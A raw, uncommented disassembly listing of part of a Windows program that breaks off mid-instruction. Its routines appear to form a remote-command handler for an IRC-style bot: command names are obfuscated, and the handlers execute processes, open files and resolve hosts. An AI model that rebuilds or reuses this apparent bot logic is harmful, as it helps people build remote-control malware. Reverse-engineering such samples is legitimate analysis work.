proc near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40222A lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_40222A mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403F30 proc near ; CODE XREF: sub_40208Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403F30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AE6 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403F30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_404010 proc near ; CODE XREF: sub_401D48j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_404010 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017EE lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_404010 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017EE push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017EE lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017EE lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017EE push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017EE lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017EE lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017EE push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017EE lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017EE lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017EE push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017EE lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017EE push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017EE push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h, 24548D23h dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh dd 45F46850h, 85680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h, 0FE8105Ch dd 50FFFFD3h, 4445F068h, 8E556800h, 3EE8004Eh, 83FFFFCBh dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C6C7E890h dd 0C88B023Dh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh dd 0 ; --------------------------------------------------------------------------- add esp, 54h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 150h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404690 proc near ; CODE XREF: sub_401A41j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404690 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_401479 mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_4046D2 push ebx jmp short loc_4046D6 ; --------------------------------------------------------------------------- loc_4046D2: ; CODE XREF: sub_404690+3Dj lea eax, [esi+15h] push eax loc_4046D6: ; CODE XREF: sub_404690+40j mov ecx, edi call sub_401FDC mov al, [esi+94h] test al, al jz short loc_4046F2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FDC loc_4046F2: ; CODE XREF: sub_404690+55j mov al, [esi+95h] test al, al jz short loc_40476F lea ecx, [esp+98h+var_6C] call sub_40142E push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013ED add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E47 push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FDC lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40476F: ; CODE XREF: sub_404690+6Aj push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E47 lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_401479 push 0 mov ecx, esi mov ebp, eax call sub_401479 mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_404A3A push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019C4 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40485F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 test eax, eax jz short loc_40485F mov bl, 1 jmp short loc_404861 ; --------------------------------------------------------------------------- loc_40485F: ; CODE XREF: sub_404690+1A6j ; sub_404690+1C9j xor bl, bl loc_404861: ; CODE XREF: sub_404690+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_404A1E push offset asc_444600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_404A3A push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_404A3A push 20h mov ecx, esi call sub_401D34 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E47 mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D34 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E47 push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40202C lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FDC push offset asc_444600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016B8 lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E47 push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FDC lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049F7 test ebp, ebp jle short loc_404A08 loc_4049E8: ; CODE XREF: sub_404690+363j mov ecx, [esp+98h+var_88] push esi call sub_401F87 dec ebp jnz short loc_4049E8 jmp short loc_404A08 ; --------------------------------------------------------------------------- loc_4049F7: ; CODE XREF: sub_404690+352j test ebp, ebp jle short loc_404A08 loc_4049FB: ; CODE XREF: sub_404690+376j mov ecx, [esp+98h+var_88] push esi call sub_40144C dec ebp jnz short loc_4049FB loc_404A08: ; CODE XREF: sub_404690+356j ; sub_404690+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A1E: ; CODE XREF: sub_404690+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_404A35 call sub_401F87 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A35: ; CODE XREF: sub_404690+39Cj call sub_40144C loc_404A3A: ; CODE XREF: sub_404690+162j ; sub_404690+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B60 proc near ; CODE XREF: sub_401F87j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_44AC72 call sub_4014DD mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404BA6 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 test eax, eax jnz short loc_404BA6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BA6: ; CODE XREF: sub_404B60+1Dj ; sub_404B60+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 test eax, eax jnz short loc_404BE6 mov al, [edi+469h] test al, al jz short loc_404BE6 push 0 lea ecx, [esi+2Ah] call sub_401479 cmp byte ptr [eax], 23h jz short loc_404BE6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_404B60+64j ; sub_404B60+6Ej ... push esi mov ecx, edi call sub_40144C pop edi pop esi retn 4 sub_404B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C30 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017EE push eax mov ecx, offset dword_449128 call sub_401B04 test eax, eax jz short loc_404C5A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C5A: ; CODE XREF: sub_404C30+1Cj xor al, al pop esi retn 4 sub_404C30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_40186Bj push esi push edi mov edi, dword_5118AC mov esi, ecx call edi mov edx, dword_4D80A9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C9F mov ecx, offset byte_4D8085 call sub_401D20 call edi mov dword_4D80A9, eax loc_404C9F: ; CODE XREF: sub_404C70+1Cj pop edi mov al, 1 pop esi retn sub_404C70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404CC0 proc near ; CODE XREF: sub_4017D0j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404CC0 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404D34 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [edi+2E3h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404D34: ; CODE XREF: sub_404CC0+40j lea ecx, [edi+0D6Bh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404EC5 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_444600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C71 push eax lea ecx, [esp+180h+var_14C] call sub_4017EE push eax nop call near ptr 2800000h lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FDC mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014DD push eax push 0 nop call near ptr 27F0399h test eax, eax jnz short loc_404E99 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404E99: ; CODE XREF: sub_404CC0+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404EC5: ; CODE XREF: sub_404CC0+89j lea ecx, [edi+0B71h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F74 push 1 push offset asc_444600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E8E55 mov [esp+178h+var_4], 3 call sub_4017EE push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F60 mov al, byte_4498A6 test al, al jz short loc_404F30 push offset dword_449844 mov ecx, offset dword_44AD80 call sub_401451 loc_404F30: ; CODE XREF: sub_404CC0+25Fj mov al, byte_4498EF test al, al jz short loc_404F48 push offset byte_44991F mov ecx, offset dword_44AD80 call sub_401951 loc_404F48: ; CODE XREF: sub_404CC0+277j mov ecx, offset dword_44AD80 call sub_401E79 mov byte_4D809C, 0 mov byte_4E8E54, 0 loc_404F60: ; CODE XREF: sub_404CC0+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404F74: ; CODE XREF: sub_404CC0+21Aj lea ecx, [edi+0C57h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404FBC lea ecx, [esi+69h] call sub_4014DD push eax mov ecx, offset word_4E8E6A call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404FBC: ; CODE XREF: sub_404CC0+2C9j lea ecx, [edi+0DC7h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405076 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019C4 mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1D4h+var_164] push 9 push ecx mov [esp+1DCh+var_4], 4 call sub_4019C4 add esp, 64h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405076: ; CODE XREF: sub_404CC0+311j lea ecx, [edi+0D0Fh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405194 lea ecx, [esp+178h+var_14C] call sub_40142E push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017EE push eax lea ecx, [esp+17Ch+var_14C] call sub_401A9B lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017EE push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_402112 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40202C lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405194: ; CODE XREF: sub_404CC0+3CBj lea ecx, [edi+0D99h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_4051B7 mov byte_4D809C, al mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4051B7: ; CODE XREF: sub_404CC0+4E9j lea ecx, [edi+0D3Dh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40547E lea ecx, [esp+178h+var_11C] call sub_40142E push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_405241 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405241: ; CODE XREF: sub_404CC0+56Bj push offset asc_444600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017EE push eax nop call near ptr 71AB2BF4h lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_405314 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax call near ptr 71ABE479h nop mov edi, eax test edi, edi jz loc_4053F5 push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017EE push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40545B ; --------------------------------------------------------------------------- loc_405314: ; CODE XREF: sub_404CC0+5C7j push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017EE push eax nop call near ptr 71AB4FD4h lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053F5 mov ecx, [edi+0Ch] push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016B8 mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh call near ptr 71AB3F41h nop push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4053F5: ; CODE XREF: sub_404CC0+5E0j ; sub_404CC0+691j push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 